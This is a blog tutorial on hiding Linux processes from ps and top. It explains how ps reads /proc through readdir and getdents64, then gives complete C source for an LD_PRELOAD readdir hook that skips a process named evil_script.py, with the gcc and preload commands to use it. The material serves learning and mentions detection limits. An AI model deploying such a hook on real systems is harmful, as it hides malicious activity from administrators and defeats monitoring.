Hide n Seek with processes in Linux
Playing with hooks to hide processes from commands like ps or top
Note: This is only for learning purpose.
On a random day, scrolling through some blogs I came across a very interesting one - which was https://www.sysdig.com/blog/hiding-linux-processes-for-fun-and-profit, written by Gianluca Borello. I really enjoyed reading this blog, and went ahead reproducing the steps, and trying my own version of it.
Analysis
Have you ever tried linux commands like - ps or top, and wondered where do these commands get process details? Answering this question will help us identify plausible ways we can hide a process. ps command hits the directory at /proc which is a pseudo file system. Every process is a separate directory within that /proc folder. There are syscalls and libc functions involved in this to grab this data. Let's dig a little bit deeper with strace on the ps command:
-> strace ps aux
close(3) = 0
mprotect(0x7f9d21bac000, 4096, PROT_READ) = 0
openat(AT_FDCWD, "/proc/self/status", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0
read(3, "Name:\tps\nUmask:\t0002\nState:\tR (r"..., 1024) = 1024
read(3, ":\tthread vulnerable\nSpeculationI"..., 1024) = 573
read(3, "", 1024) = 0
close(3) = 0
openat(AT_FDCWD, "/sys/devices/system/node", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
fstat(3, {st_mode=S_IFDIR|0755, st_size=0, ...}) = 0
brk(0x55665a56f000) = 0x55665a56f000
getdents64(3, 0x55665a546e70 /* 11 entries */, 32768) = 360
getdents64(3, 0x55665a546e70 /* 0 entries */, 32768) = 0
brk(0x55665a567000) = 0x55665a567000
close(3) = 0
sched_getaffinity(0, 512, [0 1]) = 16
openat(AT_FDCWD, "/sys/devices/system/cpu/possible", O_RDONLY|O_CLOEXEC) = 3
read(3, "0-127\n", 1024) = 6
close(3) = 0
openat(AT_FDCWD, "/proc/self/status", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0
read(3, "Name:\tps\nUmask:\t0002\nState:\tR (r"..., 1024) = 1024
read(3, ":\tthread vulnerable\nSpeculationI"..., 1024) = 573
read(3, "", 1024) = 0
close(3) = 0
munmap(0x7f9d21fed000, 97575) = 0
openat(AT_FDCWD, "/proc/self/stat", O_RDONLY) = 3
read(3, "14261 (ps) R 14259 14259 13692 3"..., 1024) = 318
close(3) = 0
getpid() = 14261
newfstatat(AT_FDCWD, "/proc/self/task", {st_mode=S_IFDIR|0555, st_size=0, ...}, 0) = 0
mmap(NULL, 135168, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f9d21b7e000
mmap(NULL, 135168, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f9d21b5d000
openat(AT_FDCWD, "/proc/14261/status", O_RDONLY) = 3
read(3, "Name:\tps\nUmask:\t0002\nState:\tR (r"..., 1024) = 1024
read(3, ":\tthread vulnerable\nSpeculationI"..., 1024) = 573
close(3) = 0
newfstatat(AT_FDCWD, "/proc/14261", {st_mode=S_IFDIR|0555, st_size=0, ...}, 0) = 0
openat(AT_FDCWD, "/proc/14261/stat", O_RDONLY) = 3
read(3, "14261 (ps) R 14259 14259 13692 3"..., 1024) = 318
close(3) = 0
ioctl(1, TIOCGWINSZ, {ws_row=39, ws_col=189, ws_xpixel=0, ws_ypixel=0}) = 0
ioctl(1, TCGETS, {c_iflag=ICRNL|IUTF8, c_oflag=NL0|CR0|TAB0|BS0|VT0|FF0|OPOST|ONLCR, c_cflag=B38400|CS8|CREAD, c_lflag=ISIG|ICANON|ECHO|ECHOE|ECHOK|IEXTEN|ECHOCTL|ECHOKE, ...}) = 0
geteuid() = 1000
openat(AT_FDCWD, "/usr/share/locale/locale.alias", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=2996, ...}) = 0
read(3, "# Locale name alias data base.\n#"..., 4096) = 2996
read(3, "", 4096) = 0
close(3) = 0
openat(AT_FDCWD, "/usr/share/locale/en_US.UTF-8/LC_MESSAGES/procps-ng.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale/en_US.utf8/LC_MESSAGES/procps-ng.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale/en_US/LC_MESSAGES/procps-ng.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale/en.UTF-8/LC_MESSAGES/procps-ng.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale/en.utf8/LC_MESSAGES/procps-ng.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale/en/LC_MESSAGES/procps-ng.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/proc/sys/kernel/pid_max", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
read(3, "4194304\n", 1024) = 8
close(3) = 0
mmap(NULL, 139264, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f9d21b3b000
mprotect(0x7f9d21b5c000, 4096, PROT_NONE) = 0
openat(AT_FDCWD, "/proc", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
fstat(3, {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
mmap(NULL, 626688, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f9d21767000
getdents64(3, 0x55665a5474a0 /* 347 entries */, 32768) = 8880
Observe the syscall getdents64 being called repeatedly by ps. One of the sources of that syscall is a libc function called readdir. A rough implementation for readdir is very helpful to understand our final script. We can find the glibc MUSL code at - https://git.musl-libc.org/cgit/musl/tree/src/dirent/readdir.c
#include <dirent.h>
#include <errno.h>
#include <stddef.h>
#include "__dirent.h"
#include "syscall.h"
typedef char dirstream_buf_alignment_check[1-2*(int)(
offsetof(struct __dirstream, buf) % sizeof(off_t))];
struct dirent *readdir(DIR *dir)
{
struct dirent *de;
if (dir->buf_pos >= dir->buf_end) {
int len = __syscall(SYS_getdents, dir->fd, dir->buf, sizeof dir->buf);
if (len <= 0) {
if (len < 0 && len != -ENOENT) errno = -len;
return 0;
}
dir->buf_end = len;
dir->buf_pos = 0;
}
de = (void *)(dir->buf + dir->buf_pos);
dir->buf_pos += de->d_reclen;
dir->tell = de->d_off;
return de;
}
To understand this code a bit better- whenever we enter ps command, we get a directory pointer to the '/proc' that is passed to the readdir function. We have getdents64 syscall which fills up the buffer with the directory values, and we have the length of that buffer assigned. We identify the position in the buffer which needs to be accessed and then send back pointer to that value to the ps command, and also to note that buf_pos value will be incremented by the respective length basically shifting the counter to the next entry. This goes on till we reach the end of the buffer and if we do reach the end, we again call the getdents64 syscall and this process is repeated till all the files within /proc directory have been processed. I would recommend to put this method into ChatGPT and using it to dig deep with an example to help your understanding.
Now we know how readdir works and we know that ps calls this function. For hiding a process - we begin with the assumption we know the name of the process, lets say its evil_script (keeping it same from the original blog). As Gianluca suggested in the original blog, there are few options to actually hide a process but we will follow the same approach.
We will setup a hook onto the readdir actual implementation, compile the binary as a shared library and load it through LD_PRELOAD, to ensure it picks up our implementation before the actual one. I modified the original implementation as seen below:
#define _GNU_SOURCE
#include <stdio.h>
#include <dirent.h>
#include <dlfcn.h>
#include <string.h>
#include <regex.h>
typedef struct dirent* (*original_readdir_t)(DIR *dirp);
static int is_proc_dir(DIR *d) {
char linkpath[64], target[PATH_MAX];
snprintf(linkpath, sizeof(linkpath), "/proc/self/fd/%d", dirfd(d));
ssize_t r = readlink(linkpath, target, sizeof(target)-1);
if (r <= 0) return 0;
target[r] = '\0';
/* common procfd names: "/proc", "/proc/" or "/proc/<something>" — accept /proc only */
return (strcmp(target, "/proc") == 0);
}
struct dirent* readdir(DIR *dirp) {
static original_readdir_t original_readdir;
static int call_count = 0;
if (!original_readdir) {
original_readdir = (original_readdir_t)dlsym(RTLD_NEXT, "readdir");
if (!original_readdir) {
fprintf(stderr, "Error getting original readdir: %s\n", dlerror());
return NULL;
}
}
struct dirent* dir = original_readdir(dirp);
call_count++;
printf("readdir called %d times\n", call_count);
// Only process entries in the top-level /proc directory
if (!is_proc_dir(dirp)) {
return dir;
}
if (dir == NULL || dir->d_name[0] < '0' || dir->d_name[0] > '9') {
return dir;
}
char path[256];
char buffer[256];
regex_t regex;
regmatch_t matches[2];
if (regcomp(®ex, "\\(([^)]*)\\)", REG_EXTENDED) != 0) {
return dir;
}
snprintf(path, sizeof(path), "/proc/%s/stat", dir->d_name);
FILE *fp = fopen(path, "r");
if (fp != NULL) {
if (fgets(buffer, sizeof(buffer), fp) != NULL) {
printf("Process stat: %s", buffer);
if (regexec(®ex, buffer, 2, matches, 0) == 0) {
int start = matches[1].rm_so;
int end = matches[1].rm_eo;
char process_name[256] = {0};
strncpy(process_name, buffer + start, end - start);
// Use exact string comparison
if (strcmp(process_name, "evil_script.py") == 0) {
printf("Found match! Skipping process: %s\n", dir->d_name);
fclose(fp);
regfree(®ex);
return original_readdir(dirp); // Get next entry
}
}
}
fclose(fp);
}
regfree(®ex);
return dir;
}
I would like to dig a little bit to understand whats going on in here.
We first identify the original readdir function through this line - "original_readdir = (original_readdir_t)dlsym(RTLD_NEXT, "readdir");". This variable is a pointer to the actual implementation. Now, if you could connect this with the original readdir implementation, we pass in the same 'dirp' pointer every time to our readdir function - and getdents64 is managing the file descriptor internally and so is responsible for filling the buffer. So think of it as we work on a buffer which is a collection of directories at once and once that buffer has been processed we fill it again with the next set of values.
But one thing to consider is we are processing one directory at a time in our function. That being said - let's understand the trick and why our function works. Because we have the pointer to the directory we are working with, we can leverage the details in the stat file to identify the name of the process, and then just skip that directory if it matches our input process.
- Identification of process: If you ever listed the content of the stat file within a directory in /proc folder, the output looks like this -
┌──(rtvkiz㉿kali)-[/proc/115]
└─$ cat stat
115 (kworker/u517:0) I 2 0 0 0 -1 69238880 0 0 0 0 0 0 0 0 0 -20 1 0 1594 0 0 18446744073709551615 0 0 0 0 0 0 0 2147483647 0 0 0 0 17 1 0 0 0 0 0 0 0 0 0 0 0 0 0
The process name is after the first process id value then in the brackets - "kworker/u517:0" in this case. This could be a little tricky thing to filter out in C but we can use regex and that's what we did. The regex pattern "\\(([^)]*)\\)" matches parentheses and captures the process name inside them. We compile the regex pattern into ®ex, we fill up the buffer variable with the /proc/<id>/stat value, and then match the pattern with the buffer storing name into 'process_name'. Done!
- Skipping the entry: A simple thing to do but it actually forced me to look within the
readdirimplementation. To skip we called the original readdir function again. Why? If we refer to the earlier code:
de = (void *)(dir->buf + dir->buf_pos);
dir->buf_pos += de->d_reclen;
When readdir was called which had the target process - it already had shifted the buf_pos value to the next entry, so when we call it by ourselves it returned the next process in the buffer and updated the offset value again.
Lets compile the C code as a shared library:
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
To ensure ps command uses our hook we need to pass in the Shared Object .so file as LD_PRELOAD value with the ps command -
LD_PRELOAD=libprocesshider.so ps aux
Here is a good stackoverflow thread on how LD_PRELOAD works - https://stackoverflow.com/questions/426230/what-is-the-ld-preload-trick
In short - the shared object passed with LD_PRELOAD will be loaded first in the dynamic linker's search order, ensuring ps calls our readdir implementation instead of the standard library version.
Lets start a process evil_script.py - which is a long running process as seen below:
Running the ps command without the shared object:
Observe the process is not returned in the ps output when we pass the shared object with LD_PRELOAD:
A point to make is this only hides processes from userspace tools that read /proc, not from kernel-level visibility (sysdig will still identify the process). This implementation is probably rather inefficient from the original one, but it did help me explain some core steps within linux commands. This implementation also has one flaw, if the process we want to filter occur twice simultaneously, this will miss the second occurrence and return the process.
This hides process from the top command as well.
This was a nice little experiment for me. I went into a little rabbit hole and it helped me understand how the ps command actually works, the interaction between libc functions and syscalls. Thank you Gianluca for sharing the original blog.
Thank you for reading the blog!
References:
https://github.com/rtvkiz/process-hider/blob/main/process.c https://github.com/gianlucaborello/libprocesshider/blob/master/processhider.c